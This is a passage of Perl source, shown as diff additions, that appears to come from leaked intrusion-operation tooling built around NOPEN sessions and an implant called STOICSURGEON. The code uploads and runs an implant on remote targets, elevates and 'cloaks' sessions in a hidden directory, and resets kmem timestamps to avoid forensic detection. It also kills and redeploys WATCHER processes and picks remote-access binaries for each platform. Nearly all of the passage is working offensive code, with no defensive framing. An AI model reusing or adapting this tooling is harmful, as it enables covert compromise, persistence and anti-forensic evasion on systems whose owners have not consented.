("$COLOR_FAILURE\n\n". + "You must investigate this. The above -strings command matched\n". + "$incisiondir so we may have had INCISION on here once.\n". + "\n". + "You should only continue if you know it is safe to install over top\n". + "of whatever is there (say, perhaps, INCISION is gone and we know it is).", + "ABORT", + ); + } + } + } + + my $datefile = "$installdir/up/date"; + $ctrlfile = "$installdir/up/Stoicsurgeon-Ctrl"; + $ctrlfile = "" if $skipctrl; + mydie("$prog only knows how to handle tarballs with both\n\t". + "up/date and up/Stoicsurgeon-Ctrl in them") + unless ($tarball eq "NULL" or + (-f $datefile and (-e $ctrlfile or $skipctrl)) or + ($logsuccessball or $logfailureball)); + my $problems = ""; + unless ($deinstallonly) { + my $versionfile = "$installdir/etc/VERSION"; + my $slipperyscalpelconfigfile = "$installdir/etc/SLIPPERYSCALPEL.config"; + unless ($logonly) { + my ($output,$nopenlines,@output) = doit("=df"); + if (my @bad = grep m,^/*rpool.*\s+/$, , fixdf(@output)) { + offerabort + ($COLOR_FAILURE."\n\nTAKE NOTE!!!\n$COLOR_NOTE\n\n ". + join("\n ",@bad2)."\n$COLOR_NORMAL\n". + "The =df above contains \"rpool\" for the / partition. This usually\n". + "indicates that the target is using zfs. An install here would likely\n". + "SUCCEED, however you$COLOR_FAILURE MUST NOT$COLOR_NORMAL do so. Proceed here at\n". + "your own risk.","A"); + offerabort + ($COLOR_FAILURE."\n\nSERIOUSLY!!!\n$COLOR_NORMAL\n". + "Are you sure? If it goes bad, this will be your problem, not mine.","A"); + mywarn("OK. I suppose you think you know what you're doing.\n". + "I'm crossing my fingers for you!! Good luck.\n". + "Proceeding in 5..."); + sleep 5; + } + } + + # Old script put individual files per implant in ./up/. If + # we do not have the etc/VERSION file use that instead. + $versionfile = "$installdir/up/.*VERSION" unless -s $versionfile; + my ($installedtools,$nopenlines,@output) + = doit("-lsh cat $versionfile"); + my ($solaristoolversion, + $linuxtoolplatform, + $solaristoolplatform, + $freebsdtoolplatform, + $inteltoolplatform, + $sparctoolplatform, + $toolcomment,@comment, + $toolversion, + ) = (); + foreach (@output) { + next if /None vNone/; + s/\s/ /g; + if (-e "$installdir/etc/VERSION") { + ($tool,$toolplatform,$toolversion,@comment) = split; + } else { + ($tool,$toolversion,$toolplatform,@comment) = split; + } + $toolcomment = join(" ",@comment); + $linuxtoolplatform = $1 if + $toolplatform =~ /(\S*linux\S*)/i; + + # SOLARIS + $solaristoolplatform = $1 if + $toolplatform =~ /(\S*(sunos|solaris)\S*)/i; + if ($solaristoolplatform =~ /([\d\.]+)$/) { + $solaristoolversion = $1; + } + + # JUNOS + $junostoolplatform = $1 if + $toolplatform =~ /(\S*junos\S*)/i; + if ($junostoolplatform =~ /([\d\.]+)$/) { + $junostoolversion = $1; + } + + # FREEBSD + $freebsdtoolplatform = $1 if + $toolplatform =~ /(\S*(freebsd)\S*)/i; + if ($freebsdtoolplatform =~ /([\d\.]+)$/) { + $freebsdtoolversion = $1; + } + + # HARDWARE + $inteltoolplatform = $1 if + $toolplatform =~ /(\S*[i3456x]+86\S*)/; + $sparctoolplatform = $1 if + $toolplatform =~ /(\S*(sparc|sun4[umc])\S*)/; + + my $sure = 0; + $problems .= " Mismatch on: $tool $toolversion $toolplatform\n" + if (($linuxtarget and !$linuxtoolplatform) or + ($solaristarget and !$solaristoolplatform) or + ($freebsdtarget and !$freebsdtoolplatform) or + ($junostarget and !$junostoolplatform) or + ($inteltarget and !$inteltoolplatform) or + ($sparctarget and !$sparctoolplatform) or + ($freebsdtoolplatform and $freebsdtargetversion + and ($freebsdtargetversion !~ /$freebsdtoolversion/)) or + ($solaristoolversion and $solaristargetversion + and $solaristoolversion ne $solaristargetversion) or + ($junostoolversion and $junostargetversion + and $junostoolversion ne $junostargetversion) + ); + $toolversion =~ s/^v(ersion|\s)*//; + dbg("INSIDE:$_ + linuxtarget=$linuxtarget + solaristarget=$solaristarget solaristargetversion=$solaristargetversion + solaristoolversion=$solaristoolversion solaristargetversion=$solaristargetversion + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + + freebsdtarget=$freebsdtarget= + freebsdtoolplatform=$freebsdtoolplatform + freebsdtargetversion=$freebsdtargetversion + freebsdtoolversion=$freebsdtoolversion + + + problems=$problems== +"); + push @tools,$tool; + $toolindex[$tool] = scalar @tools - 1; + $toolindex["SLIPPERYSCALPEL"] = @tools - 1 + if ($tools[$i] =~ /SLIPPERYSCALPEL/i); + push @versions,$toolversion; + push @toolplatforms,$toolplatform; + push @comments,$toolcomment; + } + if (-f $slipperyscalpelconfigfile and + defined $comments[$toolindex["SLIPPERYSCALPEL"]]) { + my ($content) = doit("-lsh cat $slipperyscalpelconfigfile | sed \"s/^/\#/g\""); + chomp($content); + $content =~ s,[\r\n],::,g; + $content =~ s,[\#],: ,g; + $comments[$toolindex["SLIPPERYSCALPEL"]] .= " INSTALLED WITH CONFIG$content"; + } + } + dbg(" + linuxtarget=$linuxtarget + solaristarget=$solaristarget + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + problems=$problems= +"); + # TODO: Maybe take all non-stoic possibility out of here? + my $stoicinstall = "@tools" =~ /stoicsurgeon/i; + $stoicinstall++ if $deinstallonly; + if ($problems) { + my $more = "\n(OS version mismatch: $solaristoolversion ne $solaristargetversion)" + if $solaristoolversion ne $solaristargetversion; + offerabort + ($COLOR_FAILURE.$problems."\n\n". + "WE HAVE A PROBLEM HERE.\n$COLOR_NORMAL\n". + "Target OS: $nopen_serverinfo\n\n". + "Target OS does not match one or more tool platforms.\n\n". + "There appears to a conflict here.".$more, + "A" + ); + offerabort + ($COLOR_FAILURE."ARE YOU SURE?"); + } + + $remotename = "date" unless $remotename; + my $domore = " ; echo $?" unless $remotename eq "date"; + while (!$deinstallonly and !$logonly) { + my ($remoteexists,$nopenlines,@output) + = doit("-ls $workdir/$remotename"); + if ($remoteexists) { + my ($ans,$newname) = mygetinput + ("Remote file \"$remotename\" already exists. If you CONTINUE,\n". + "you will have to answer \"YES\" to overwrite that file,$COLOR_FAILURE\n". + "AND THAT FILE DOES NOT APPEAR TO BE OURS!\n$COLOR_NORMAL\n". + "If you enter some other name, $prog will try to use that.\n\n". + "Enter \"CONTINUE\" to continue with the name \"$remotename\", ". + "\"ABORT\" to abort, or\n". + "enter the new name to use: ", + "CONTINUE" + ); + mydie("User aborted") + if ($newname =~ /^a(bort){0,1}$/); + last if $newname eq "CONTINUE"; + $remotename = $newname; + } else { + last; + } + } + my ($hiddendir,$safehiddendir) = (); + my $morecheck = ""; + my $hiddenstr = ""; + unless ($logonly) { + my $solarismore = ""; + $solarismore = "and also save\nthe initial mtime/atimes of /devices/pseudo/mm\@0:kmem." + unless ($host_touchkmem or !$solaristarget); + + + + + offerabort + ("Looks like the target matches the tarball.\n\n". + "About to upload and execute $datefile$solarismore. Last chance to bail.") + unless $tarball eq "NULL" or $deinstallonly; + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) + = stat($datefile); + if ($stoicinstall) { + # If no previous use of stoic set this, we do so now from $installdir + unless($stoicctrlfile or $skipctrl) { +#dbg("Calling mystoicctrl(,$ctrlfile);"); + mystoicctrl(noprompt,$ctrlfile); + } + my ($priorhiddendir,$priorsafehiddendir,@prioroutput) = gethiddendir(force); + my $alreadyinstalled = ""; + @errs = (); + unless ($skipctrl) { + my @opts = ("-ACE$workdiropt"); + push(@opts,$seedopt) if $seedopt; + push(@opts,$dopause) if $dopause; + stoicctrl(@opts); + ($hiddendir,$safehiddendir,@output) = gethiddendir(); + $alreadyinstalled = !@errs; + } +dbg("hiddendir=$hiddendir= +priorhiddendir=$priorhiddendir="); + if ($skipctrl and $hiddendir) { + offerabort + ("You are skipping use of Ctrl entirely, yet there is already a hidden\n". + "directory. This means your install will proceed anyway, and if the hidden\n". + "directory there is a valid install, it will self-destruct as a side effect\n". + "of this install, destroying any contents in that hidden directory."); + } + if ($alreadyinstalled) { + if (!$hiddendir) { + my $usedto = "$COLOR_FAILURE (AND YOU USED TO!)" + if $priorhiddendir; + offerabort("This is odd. The above -E and -C Ctrl commands returned no error, (meaning\n". + "they worked) yet you do not have a hidden directory visible$usedto."); + } elsif (!$priorhiddendir) { + offerabort("OK, so it looks as if you were NOT priveleged until just now.\n". + "You should see the above -ls PRIOR to elevation (-E/-C) did NOT show\n". + "the hidden directory, and the one after does.\n\n". + "You can abort now (and figure things out) or\n". + "(if maybe you expected this) continue with the install. If you continue,\n". + "you will have options about what to do with the new install."); + } elsif ($priorhiddendir ne $hiddendir) { + gethiddendir(force,recurse); + offerabort("${COLOR_FAILURE}This is VERY odd$COLOR_NORMAL. You had two different hidden directories, before and after\n". + "the above -E/-C elevation. The above -E and -C Ctrl commands returned no error,\n". + "so they seemed to work, yet your hidden directory is now different???\n\n". + "See above recursive -ls of all possible hidden directories if that helps."); + } + # Other case, where $hiddendir AND priorhiddendir is fine unless they are not the same + } + my $dowhat = ""; + + #mydie("output=$output= alreadyinstalled=$alreadyinstalled="); + if ($alreadyinstalled) { + my ($prompt,$default) = + ("It seems STOICSURGEON is already there (\"-ctrl -EC\" above WORKED).\n\n". + "You have four options (you may answer just the first letter):\n\n". + " DEINSTALL: Use -ctrl -U to completely DEINSTALL previous STOIC.\n". + " This will wipe all content in the hidden dir also.\n". + " UNPATCH : Use -ctrl -n to invoke a partial uninstall (unpatch \n". + " and unload). This removes the software, leaving the hidden\n". + " directory to be re-used by the install to follow.\n". + " CONTINUE : Continue with the install without ANY uninstall of the previous\n". + " STOIC. The old stoic should detect the new one being installed\n". + " and self-destruct before allowing the new one to be installed.\n". + " ABORT : Abort and return to your NOPEN prompt\n\n". + "It is recommended that you DEINSTALL the previous copy first, your default\n". + "option. If proceeding with any install option, $prog will first preserve\n". + "this NOPEN window and any non-init parent pid from being killed by the\n". + "uninstall (using -ctrl -k).\n". + "\n". + "Your choices are DEINSTALL, UNPATCH, CONTINUE and ABORT. Choose:", + "DEINSTALL" + ); + ($prompt,$default) = + ("Confirmed previous installation of STOICSURGEON is still active.\n". + "Last chance to bail before DEINSTALL proceeds.". + "\n\nontinue or bort.","CONTINUE" + ) if $deinstallonly; + my ($ans,$myans) = mygetinput($prompt,$default); + my $elevateerr = ""; + if ($ans eq "a") { + rmctrl(force); + mymydie("User aborted"); + } + ($ans,$myans) = ("d","DEINSTALL") if $deinstallonly; +# dbg("myans=$myans"); + # TODO: If -ctrl fails, upload and use + # /current/install.##/up/Stoicsurgeon-Ctrl instead + stoicctrl("-Azk$workdiropt",$dopause,@savepids); + my $preuninstallhiddendir = $hiddendir; + mydie("-ctrk -k @savepids : FAILED") + if (@errs); +dbg("Before errs=(@errs) nonerrs=(@nonerrs)"); + if ($ans eq "d" or $ans eq "u") { + $dowhat = "DEINSTALL"; + if ($ans eq "d") { + # TODO: stoicctrl would default to a $workdir of the hiddendir, so if + # we did NOT have a $workdir before, we need it to be /tmp now, + # in which case we have to rmctrl. + stoicctrl("-AU$workdiropt",$dopause); +dbg("errs=(@errs) nonerrs=(@nonerrs) + +completeoutput=(\n".join("\n",@completeoutput)."\n) + +"); + } elsif ($ans eq "u") { + $dowhat = "UNPATCH"; + stoicctrl("-An$workdiropt",$dopause); + } +dbg("Now errs=(@errs) nonerrs=(@nonerrs)"); + if (@errs) { + offerabort("$dowhat appeared to fail."); + } +# ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + # We just uninstalled, this is expected to fail + stoicctrl("-zE$workdiropt",$dopause,$targetpid); + $elevateerr = @errs; +# dbg("After -E $targetpid: +#errs=(@errs) +#completeoutput=(@completeoutput) +#elevateerr=$elevateerr= +#"); + $hiddenstr .= " hidden_dir=$hiddendir"; + ($output,$nopenlines,@output) + = doit("-ls $safehiddendir"); +# dbg("second time hiddendir=$hiddendir safehiddendir=$safehiddendir"); + my ($stillinstalled) = grep m,$preuninstallhiddendir, , @output; + unless ($elevateerr and !$stillinstalled) { + offerabort + ($COLOR_FAILURE. + "$dowhat appeared to fail" + #." yo elevateerr=$elevateerr= stillinstalled=$stillinstalled=" + ); + } else { + if ($deinstallonly) { + mydie("$dowhat appears successful. You are now UNCLOAKED/exposed."); + } + offerabort + ("$dowhat appeared successful.\n". + "About to upload and execute $datefile. Last chance to bail."); + } + } + } else { + mymydie("STOICSURGEON does not appear to be there") + if $deinstallonly; + } + } + rmctrl(force) unless $skipctrl; + ($output,$nopenlines,@output) + = doit("-put $datefile $workdir/$remotename"); + + mydie("\n\nUpload failed (wrong size or missing?), you have cleanup to do.") + unless ($output =~ m,-rwx------ .* $size .* $workdir/$remotename,); + + # ASSERT: $remotename is up there, executable and the right size. + + if ($dopause) { + doit("-ls $workdir/$remotename"); + offerabort("OK, here's the pause you asked for. Upload worked.\n\n". + "If you abort here, $remotename will$COLOR_FAILURE STILL BE UP THERE!!"); + } + doit("-cd $workdir") unless $targetcwd eq $workdir; + if ($dotpath) { + ($output,$nopenlines,@output) + = doit("PATH=.:\$PATH $remotename$domore"); + } else { + ($output,$nopenlines,@output) + = doit("PATH=. $remotename$domore"); +# ($output,$nopenlines,@output) +# = doit("$remotename$domore"); + } + # CD back unless we did not cd, or we came from hidden dir. + doit("-cdp") unless ($targetcwd eq $workdir or + $targetcwd =~ m,/\.[a-f0-9]{32}, or + $targetcwd =~ m,/\.tmp[A-Za-z0-9_-]{6},); + } + $success = "SUCCESSFUL"; + if ($logonly) { + $success = "FAILED" if $logfailure or $logfailureball; + } else { + ($errcode,$errstring) = $output =~ / \d\d:\d\d:(\d\d)/; +#dbg("Checking success with my (\$errcode,\$errstring) = \$output =~ / \d\d:\d\d:(\d\d)/; + +#output=$output= + +#output=(@output) + +#($errcode,$errstring) = $output =~ / \d\d:\d\d:(\d\d)/; +#"); + unless ($errcode eq "00") { + $success = "FAILED"; + + + + + my $stoicfile = "$opetc/user.tool.stoicsurgeon.COMMON"; + $stoicfile = "$opetc/user.tool.stoicsurgeon" + unless -e $stoicfile; + my %errstrings=(); + if (-e $stoicfile and open(STOIC,$stoicfile)) { + # This assumes TWO LINE entries in user.tool.stoicsurgeon.COMMON + # for all error codes, with a format matching + my @stoiclines = ; + close(STOIC); + my $lineone = ""; + while (@stoiclines) { + my $line = shift @stoiclines; + next unless ($line =~ /^[ \#]+([0-9]+)/); + my $num =int($1); + $line =~ s/^[ \#\s]*//; + if ($stoiclines[0] =~ /^\#\#\s*([A-Z].*)/) { + chomp($line); + $line .= shift(@stoiclines); + $line =~ s/\#*[ \t]+/ /g; + $line =~ s/\s+$//g; + $line =~ s/[ \t]+/ /g; + } + $errstrings{$num} = "\nTool Comments: FAILED: ERROR CODE $line"; +# $errstrings{$num} .= "Tool Comments:".; +# $errstrings{$num} =~ s/\#*[ \t]+/ /g; +# $errstrings{$num} =~ s/\s+$//g; +# $errstrings{$num} =~ s/[ \t]+/ /g; + dbg("Just set \$errstrings{$num}=$errstrings{$num}="); + } + last if (%errstrings and /^\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#/); + } + + if ($errstrings{int $errcode}) { + $errstring = $errstrings{int $errcode}; + } else { + $errstring = "UNKNOWN ERROR #: $errcode"; + } + } + } + for (my $i=0;$i<@tools;$i++) { + my ($what1,$what2) = ("DEPLOYED","Installed"); + ($what1,$what2) = ("EXERCISED","Exercised") + unless ($installtype eq "install"); + ($what1,$what2) = ("ACCESSD","Accessd") + if ($installtype eq "access"); + ($what1,$what2) = ("USED","Used") + if ($installtype eq "use"); + ($what1,$what2) = ("REMOVED","Removed") + if ($installtype eq "remove"); + $stoicinstall++ if $tools[$i] =~ /stoicsurgeon/i; + my $others = " @tools"; + $others =~ s/ $tools[$i]//; + my $toolcomment = ""; + $toolcomment = " $comments[$i]" + if (length $comments[$i]); + my ($content,$warning) = logtool( + "$tools[$i]", + "$versions[$i]", + "$success", + "$what1", + "$toolcomment $what2 with$others $errstring$hiddenstr", + ); + $allcontent .= $content; + $allwarning .= $warning; + } + progprint($COLOR_FAILURE. + "Finished.\n$progress\n$COLOR_NOTE\n". + "$prog just added these entries to\n". + "$hostfile:\n\n$COLOR_NORMAL".$allcontent. + "\n".$allwarning + ); + + ($output,$nopenlines,@output) + = doit("-ls $workdir/$remotename") unless $logonly; + if ($output and $success =~ /^successful/i) { + my ($ans) = offerabort + ("$COLOR_NORMAL\nPROPOSED HOSTINFO CONTENT:\n". + $newhostinfocontent."\n\n". + "$COLOR_FAILURE $output\n". + "$COLOR_NORMAL\n". + "The $remotename file still exists. This usually indicates failure,\n". + "but the output ending in :00 seemed to indicate success.\n\n". + "You can abort here and nothing will be logged to\n". + " $hostfile.\n". + "Or choose another option, which will log there:\n". + " 1) Change all statuses to \"Failed\"\n". + " C) Log it as successful anyway (really?)\n\n". + "Choose one, or", + "1","2" + ); + if ($ans eq "1") { + $newhostinfocontent =~ s/success\S+/FAILED/ig; + } + } + unless ($logonly) { + if ($stoicinstall) { + my ($elevatesuccess,$prompt,$more)=(); + if ($success =~ /^successful/i) { + my $solarismore = ""; + if ($solaristarget and $host_touchkmem) { + my ($output) = doit("-ls -n /devices/pseudo/mm\@0:kmem"); + $output =~ s,\s+, ,g; + my ($touchedback) = doit("$host_touchkmem /devices/pseudo/mm\@0:kmem") + unless ($output =~ /^$host_touchkmem/); + $solarismore = ", and the times for\n". + "/devices/pseudo/mm\@0:kmem have been manually touched back" + if ($touchedback); + } + if ($skipctrl) { + mygetinput + ("Install appears successful$solarismore!\n\n". + "You chose to SKIP all use of Ctrl, so this window has$COLOR_FAILURE NO WAY$COLOR_NORMAL\n". + "to elevate. If you trigger on in another window, it will be elevated. You should$COLOR_FAILURE\n". + "BE VERY CAREFUL$COLOR_NORMAL in this and any unelevated windows to NOT access the hidden\n". + "directory. If you do, STOIC will self-destruct.\n\n". + "Press Enter to continue." + ); + } else { + $prompt = "Install appears successful$solarismore!\n\n". + "You could try to elevate/cloak now, but the new default is not to.\n". + "Instead, a fresh trigger test will get both an elevated window and\n". + "test a trigger for you. Use THIS window, unelevated, for your \n". + "confirmation tests that the install behaves as expected.\n\n". + "Do you want to try to elevate/cloak now?"; + my ($ans) = mygetinput($prompt,"N"); + $elevatesuccess=1; + # On success, we set this new $ctrlfile as the right one for + # this box for remainder of op. + mystoicctrl(noprompt,$ctrlfile); + if ($ans =~ /^y/i) { + # dbg("PRIOR: errs=(@errs)"); + my $wdir = $workdiropt; + if (!$wdir or + $wdir =~ m,$priorhiddendir, or + ($hiddendir and $wdir =~ m,$hiddendir,) + ) { + # use a workdir of ./ it must be where the install just succeeded. + $wdir = "w."; + } + stoicctrl("-zEC$wdir",$dopause); + dbg("After stoicctrl(-zEC$workdiropt,$dopause); +#errs=(@errs) nonerrs=(@nonerrs) +#completeoutput=(@completeoutput) +#"); + if (@errs) { + mygetinput("PROBLEM HERE: That seemed to fail? Deal with it."); + $elevatesuccess--; + } + unless (!$dowhat or $newhiddendir eq $hiddendir) { + mywarn("NOTE: New hidden directory is different:\n". + " WAS: $hiddendir\n". + " NOW: $newhiddendir"); + ($hiddendir,$safehiddendir) = ($newhiddendir,$newsafehiddendir); + } + } else { + ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + $elevatesuccess=0; + mygetinput($COLOR_FAILURE."\n\n". + "This window is NOT ELEVATED.\n\n". + "Use either a fresh trigger window (preferred) or -ctrl -CE\n". + "to get an elevated window and compare it to this one:\n\n". + " =ps\n". + " =nsg ESTAB\n". + " -ctrl -LR\n". + "\nHit Enter to continue..."); + } + } + my $moresuccess=""; + if ($elevatesuccess > 0) { + $moresuccess = "\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "You (and parent, if any) should be fully priveleged/hidden."; + } +# dbg("success=$success="); + } + if ($success eq "FAILED") { + $output = "$COLOR_WARNING\nFAILED!$COLOR_FAILURE\nFAILED!$COLOR_WARNING\n". + "FAILED!$COLOR_FAILURE\nFAILED!\n\n". + "Install FAILED:\n". + $installedtools; + } else { + $output = "$moresuccess\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "Install complete:\n". + $installedtools; + } + } + } else { + my $which = "most recent install"; + $which = "contents of this tarball" if $logfailureball or $logsuccessball; + $output = "Logged $which ($installdir) as: $success"; + } +# progprint($output); + rmctrl(force) unless $skipctrl; + return $output; +}#end sub handle + +sub mymydie { + rmctrl(force) unless $skipctrl; + mydie(@_); +} + + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + + + ($installtype) = $0 =~ /auto(\S+)/; + + $prog = "-gs $installtype"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $linuxtarget = $nopen_serverinfo =~ /linux/i + unless $linuxtarget; + + ($solaristarget,$junk,$solaristargetversion) + = $nopen_serverinfo =~ /((sunos|solaris)\s*([\d\.]*))/i; + # Use the 2.* nomenclature for solaris, to match + # what our tarball VERSION files use. + $solaristargetversion =~ s/^5/2/g; + + $inteltarget = $nopen_serverinfo =~ /[i3456x]+86/; + + ($sparctarget) = $nopen_serverinfo =~ /((sparc|sun4[umc])\S*)/; + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=install\" is used. + +"; + { $gsusagetext=<bort, enter the number of the above $str= value you want to use, or"; +# } +# $prompt .= "Enter a valid -setenv line for WA=:"; +# ($ans,$longans) = mygetinput($prompt,$default,"ANYTHING"); +# if ($longans =~ m,^\s*-setenv WA= +# if ($choices[$ans-1] =~ /-setenv $str=/) { +# $waenv = $choices[$ans-1]; +# } else { +# $prompt = "\n\a$COLOR_FAILURE\n". +# "Invalid answer, enter an index value or ABORT!\n". +# "$COLOR_NORMAL\n"; +# +# } +# } +# $opfenv = findenvtasking("OPF") unless $opfenv; + $logcomments .= "Tool Comments: $waenv\n" if $waenv; + $logcomments .= "Tool Comments: $opfenv\n" if $opfnv; + if (length $waenv < 20) { + mywarn("Refusing to kill WATCHER and redeploy when WA is not yet set properly"); + $fail=1; + sleep 3; + next; + } + $logid = " with -t ID: $1" if ($waenv =~ /-t\s*(\S+)/); + } + if ($deploy) { + unless ($cankill) { + progprint($COLOR_FAILURE."\n\n". + "$prog cannot kill this process, it only knows how to kill:\n\n ". + join("\n ",keys %cankill)."\n". + ""); + $deploy = 0; + next; + } + if ($deployas) { + $newname = $deployas; + } else { + (undef,undef,@output) = doit("=ps | grep -v grep | grep \" $pid \""); + if (@output == 1) { + ($newname) = $output[0] =~ /\s(\S+)\s*$/; + } else { + mywarn("Cannot kill and redeploy, more than one match to grep $pid"); + $deploy = 0; + sleep 5; + next; + } + } + ($output) = doit("-ls $newname"); + if ($output) { + mywarn("Cannot redeploy as $newname, it already exists...skipping this one"); + $deploy = 0; + sleep 5; + next; + } + my $mysumpath = $sumpath; + $mysumpath =~ s,PID,$pid,; + doit("cp $mysumpath $newname"); + $copyname = $newname; + } + if (!$killit) { + my ($ans) = mygetinput($pidline{$pid}."\n\n". + "Are you sure about killing this process? It may not be ours.\n\n". + "You can kip this one, ill it or bort","S","K","A"); + next if ($ans eq "s"); + mydie("User aborted") if ($ans eq "a"); + } + doit("kill $pid ; echo \$?"); + ($output) = doit("=ps | grep -v grep | grep \" $pid \""); + if ($output) { + $fail=1; + my $more = " (NOT redeploying)" if $deploy; + mywarn("KILL FAILED on pid $pid$more"); + if ($deploy) { + doit("-rm $newname"); + $copyname = ""; + } + sleep 5; + next; + } + } else { + $fail=1; + mywarn("Cannot kill PID $pid - not green, so may not be ours\n". + " (Consider using safety override option, -O, CAREFULLY!!)"); + } + } + $logcomments = "\n$logcomments" if $logcomments; + $logmore = ""; + if ($deploy) { + ##TODO if ($copyname ne + unless ($fail) { + my ($runoutput,undef,@runoutput) = doit("PATH=.:$PATH $newname ; echo \$?"); + if ($runoutput[-1] eq "0") { + } else { + $fail=1; + mywarn("Running watcher FAILED."); + } + + ($output,undef,@output) = doit("=ps | grep -v grep | grep \" $newname\$\""); + if (!$fail and $cankill) { + logtool("WATCHER",$version,"SUCCESS","DEPLOYED","$gbl_opproject.$gbl_opschedule.$gbl_opuser$logid:$output$logcomments",); + } + } + doit("-rm $newname"); + $logmore = " but RESTART of watcher FAILED" if $fail; + } + logtool("WATCHER",$version,"SUCCESS","REMOVED", + "$gbl_opproject.$gbl_opschedule.$gbl_opuser$logid:". + "$pidline{$pid}$logmore$logcomments") + if (($fail or !$deploy) and $cankill); + return $returnoutput; +} +#pidsum + +sub portcheck { + my ($port,$min,$max) = (@_) ; + $min = $minport unless $min ; + $max = $maxport unless $max ; + $port = myrand($min,$max) if ($port =~ /rhp/i); + # return PORT VALUE if it is OK, FALSE if not + return ($port =~ /\D/ or + $port < $min + or $port > $max) ? 0 : $port ; +} +# portcheck + +sub putcheck { + # Upload $localfile as $remotefile, confirm size. Returns: + # size on success + # 0 on failure + # + local ($localfile,$remotefile) = (@_); + $localfile =~ s,^\s+,,; + $localfile =~ s,\s+$,,; + $remotefile =~ s,^\s+,,; + $remotefile =~ s,\s+$,,; + my $remotepath = ($remotefile =~ m,^/,) ? dirname($remotefile) : ""; + + my $localsize = -s $localfile; + return 0 unless (-f $localfile and + -r _ and + $localsize > 0 and + defined $socket and + $pilotstarted); + my ($output) = doit("-ls $remotefile"); + if ($output) { + my $after = $remotepath ? " (after you confirm with YES)" : ""; + my ($ans,$longans) = mygetinput + + ("Uploading: $localfile\n". + "As : $remotefile\n\n". + $COLOR_FAILURE. + "$remotefile already exists on target.$COLOR_NORMAL If you continue\n". + "it will be overwritten$after.\n\n". + "Should we upload?","N" + ); + return 0 unless ($ans eq "y"); + } + ($output) = doit("-put $localfile $remotefile"); + my ($remotesize,undef,$remotefilelist) = $output =~ m,-[r-][w-][x-][r-][w-][x-][r-][w-][x-] .* (\d+) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) \d+ \d+:\d+ \d+ (.*),; + return $remotesize if ($remotesize == $localsize); + return 0; +} +# putcheck + +sub checklocalip { + # %gbl_(internal|external)IP Key is string describing when it was used. + # Value is IP address. + + my ($ip) = `ifconfig $privateinterface 2>/dev/null | grep inet | grep -v inet6` =~ + /[:\s](\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/ ; + if ($ip and $gbl_internalIP{"current"} ne $ip) { + my $time = gmtime(); + my $time2= time(); + if ($gbl_internalIP{"current"}) { + dbg("$privateinterface IP changed, prior to now was ".$gbl_internalIP{"current"}); + newhostvar("gbl_internalIP{prior to $time $time2}",$gbl_internalIP{"current"}); + } + newhostvar("gbl_internalIP{current}",$ip); + newhostvar("gbl_internalIP","$ip at $time $time2"); + # newhostvar("gbl_internalIP{current at $time $time2}",$ip); + } + + ($ip) = `ifconfig $publicinterface 2>/dev/null | grep inet | grep -v inet6` =~ + /[:\s](\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/ ; + if ($ip and $gbl_externalIP{"current"} ne $ip) { + my $time = gmtime(); + my $time2= time(); + if ($gbl_externalIP{"current"}) { + dbg("$publicinterface IP changed, prior to now was ".$gbl_externalIP{"current"}); + newhostvar("gbl_externalIP{prior to $time $time2}",$gbl_externalIP{"current"}); + } + newhostvar("gbl_externalIP{current}",$ip); + newhostvar("gbl_externalIP","$ip at $time $time2"); + } +} + +sub local_firewall { + # local_firewall([tcp/udp],ports); + local (@ports) = (@_); + my $proto = "tcp"; + my %blockedalready = (); + # return if fork(); + # close(STDERR); + # close(STDIN); + # close(STDOUT); + # close($socket); + my @inputrules = split(/\n/,`iptables -L INPUT -n -v | grep DROP`); + foreach (@inputrules) { + next unless (/dpt:(\d+)/); + $blockedalready{$1}++; + } + foreach my $port (@ports) { + if ($port =~ /^(tcp|udp)$/) { + $proto = lc $port; + } + next unless ($port =~ /^\d+$/ and $port > 0); + next if ($blockedalready{$port}); + progprint($COLOR_NOTE."LOCALLY: Blocking NOPEN_AUTOPORT=$nopen_autoport with iptables:\n".$COLOR_NORMAL. + " iptables -I INPUT --proto $proto --in-interface $publicinterface --destination-port $port -j DROP\n". + `iptables -I INPUT --proto $proto --in-interface $publicinterface --destination-port $port -j DROP 2>&1`); + #dbg("iptables returned $?"); + if ($?) { + dbg("WARNING: Local iptables rule failed to work:\n\n". + " iptables -I INPUT --proto $proto --destination-port $port -j DROP\n"); + next; + } + $blockedalready{$port}++; + } + # exit; +} +#local_firewall + +sub findnoserver { + local($platforms) = (@_); + my @platforms = split(/\s+/,$platforms); + my $problem=0; + my $foundrat = ""; + my %foundrats = (); + foreach $platform (@platforms) { + $platform =~ s/[-_]/\./g ; + $platform =~ s/[-\.]*(\d[\d.]+)\s*$/-\1/ ; + my $maxverval = 0; + foreach $dir ("$opup/morerats","$opup") { + if (opendir(UPDIR,$dir)) { + # Reverse sort here starts at higher noserver-N.N.N.N numbers + foreach $rat (grep { ! (/^\./ + or /nosy/ + or /client/ + or /(Z|uu|bz2|gz)$/ + or /sums$/ + ) + } reverse sort readdir UPDIR) { + my $thisverval = (verval($rat))[1]; + $foundrat = "$dir/$rat" + if ($rat =~ /noserver.*$platform/ and + $thisverval > $maxverval + ); + $maxverval = (verval($foundrat))[1]; + 